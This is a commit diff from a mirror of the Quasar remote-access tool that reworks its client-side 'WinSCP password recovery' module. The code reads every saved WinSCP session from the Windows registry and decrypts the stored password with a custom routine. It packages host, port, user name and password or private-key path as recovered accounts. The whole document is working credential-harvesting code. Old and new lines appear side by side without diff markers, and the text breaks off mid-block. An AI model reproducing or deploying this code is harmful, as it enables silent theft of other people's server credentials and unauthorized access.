mirror of https://github.com/quasar/Quasar.git
Improved WinSCP Password Recovery
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parent
d8853366ba
commit
fed575fa2d
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@ -23,9 +23,10 @@ namespace xClient.Core.Extensions
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/// </summary>
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/// <param name="key">The key of which we obtain the value of.</param>
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/// <param name="keyName">The name of the key.</param>
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/// <param name="defaultValue">The default value if value can not be determinated.</param>
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/// <returns>Returns the value of the key using the specified key name. If unable to do so,
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/// string.Empty will be returned instead.</returns>
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private static string GetValueSafe(this RegistryKey key, string keyName)
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/// defaultValue will be returned instead.</returns>
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public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
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{
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// Before calling this, use something such as "IsNameOrValueNull" to make sure
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// that the input used for this method is usable. The responsibility for this
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@ -33,11 +34,11 @@ namespace xClient.Core.Extensions
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// allowing exceptions if any are generated.
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try
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{
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return key.GetValue(keyName).ToString();
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return key.GetValue(keyName, defaultValue).ToString();
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}
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catch
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{
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return string.Empty;
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return defaultValue;
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}
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}
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@ -2,8 +2,8 @@
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using System;
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using System.Collections.Generic;
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using System.Linq;
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using System.Text;
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using xClient.Core.Data;
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using xClient.Core.Extensions;
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namespace xClient.Core.Recovery.FtpClients
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{
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@ -15,30 +15,30 @@ namespace xClient.Core.Recovery.FtpClients
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try
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{
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string RegKey = @"SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions";
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using (Microsoft.Win32.RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey))
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using (RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey))
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{
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foreach (String subkeyName in key.GetSubKeyNames())
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{
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if (Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "HostName", null) != null)
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using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName))
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{
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string Host = Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "HostName", "").ToString();
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string User = Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "UserName", "").ToString();
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string Password = WinSCPDecrypt(User, Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "Password", "").ToString(), Host);
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if ((Password == string.Empty) && ((Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null) != null)))
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Password = "[PRIVATE KEY AT " + Uri.UnescapeDataString(Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PublicKeyFile", null).ToString()) + "]";
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if (Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null) != null)
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{
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Host = Host + ":" + Registry.GetValue(key.OpenSubKey(subkeyName).ToString(), "PortNumber", null);
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}
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else
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{
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Host = Host + ":22";
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}
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if (accountKey == null) continue;
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string host = accountKey.GetValueSafe("HostName");
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if (string.IsNullOrEmpty(host)) continue;
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string user = accountKey.GetValueSafe("UserName");
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string password = WinSCPDecrypt(user, accountKey.GetValueSafe("Password"), host);
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string privateKeyFile = accountKey.GetValueSafe("PublicKeyFile");
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host += ":" + accountKey.GetValueSafe("PortNumber", "22");
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if (string.IsNullOrEmpty(password) && !string.IsNullOrEmpty(privateKeyFile))
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password = string.Format("[PRIVATE KEY LOCATION: \"{0}\"]", Uri.UnescapeDataString(privateKeyFile));
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data.Add(new RecoveredAccount
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{
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URL = Host,
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Username = User,
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Password = Password,
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URL = host,
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Username = user,
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Password = password,
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Application = "WinSCP"
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});
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}
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@ -68,59 +68,55 @@ namespace xClient.Core.Recovery.FtpClients
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return "";
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}
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string qq = pass;
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List<string> HashList = new List<string>();
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foreach (char keyf in qq)
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HashList.Add(keyf.ToString());
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List<string> NewHashList = new List<string>();
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for (int i = 0; i < HashList.Count; i++)
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List<string> hashList = qq.Select(keyf => keyf.ToString()).ToList();
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List<string> newHashList = new List<string>();
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for (int i = 0; i < hashList.Count; i++)
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{
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if (HashList[i] == "A")
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NewHashList.Add("10");
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if (HashList[i] == "B")
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NewHashList.Add("11");
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if (HashList[i] == "C")
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NewHashList.Add("12");
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if (HashList[i] == "D")
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NewHashList.Add("13");
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if (HashList[i] == "E")
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NewHashList.Add("14");
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if (HashList[i] == "F")
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NewHashList.Add("15");
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if ("ABCDEF".IndexOf(HashList[i]) == -1)
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NewHashList.Add(HashList[i]);
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if (hashList[i] == "A")
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newHashList.Add("10");
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if (hashList[i] == "B")
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newHashList.Add("11");
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if (hashList[i] == "C")
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newHashList.Add("12");
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if (hashList[i] == "D")
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newHashList.Add("13");
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if (hashList[i] == "E")
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newHashList.Add("14");
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if (hashList[i] == "F")
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newHashList.Add("15");
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if ("ABCDEF".IndexOf(hashList[i]) == -1)
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newHashList.Add(hashList[i]);
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}
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List<string> NewHashList2 = NewHashList;
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List<string> newHashList2 = newHashList;
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int length = 0;
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if (dec_next_char(NewHashList2) == 255)
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length = dec_next_char(NewHashList2);
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NewHashList2.Remove(NewHashList2[0]);
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NewHashList2.Remove(NewHashList2[0]);
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NewHashList2.Remove(NewHashList2[0]);
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NewHashList2.Remove(NewHashList2[0]);
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length = dec_next_char(NewHashList2);
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List<string> NewHashList3 = NewHashList2;
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NewHashList3.Remove(NewHashList3[0]);
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NewHashList3.Remove(NewHashList3[0]);
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int todel = dec_next_char(NewHashList2) * 2;
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if (dec_next_char(newHashList2) == 255)
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length = dec_next_char(newHashList2);
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newHashList2.Remove(newHashList2[0]);
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newHashList2.Remove(newHashList2[0]);
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newHashList2.Remove(newHashList2[0]);
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newHashList2.Remove(newHashList2[0]);
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length = dec_next_char(newHashList2);
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List<string> newHashList3 = newHashList2;
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newHashList3.Remove(newHashList3[0]);
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newHashList3.Remove(newHashList3[0]);
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int todel = dec_next_char(newHashList2) * 2;
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for (int i = 0; i < todel; i++)
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{
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NewHashList2.Remove(NewHashList2[0]);
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newHashList2.Remove(newHashList2[0]);
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}
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string password = "";
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for (int i = -1; i < length; i++)
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{
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string data = ((char)dec_next_char(NewHashList2)).ToString();
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NewHashList2.Remove(NewHashList2[0]);
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NewHashList2.Remove(NewHashList2[0]);
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string data = ((char)dec_next_char(newHashList2)).ToString();
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newHashList2.Remove(newHashList2[0]);
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newHashList2.Remove(newHashList2[0]);
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password = password + data;
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}
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string splitdata = user + host;
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int len = password.Length - 1;
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int sp = password.IndexOf(splitdata);
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int sp = password.IndexOf(splitdata, StringComparison.Ordinal);
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password = password.Remove(0, sp);
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password = password.Replace(splitdata, "");
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return password;
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}
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catch
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{
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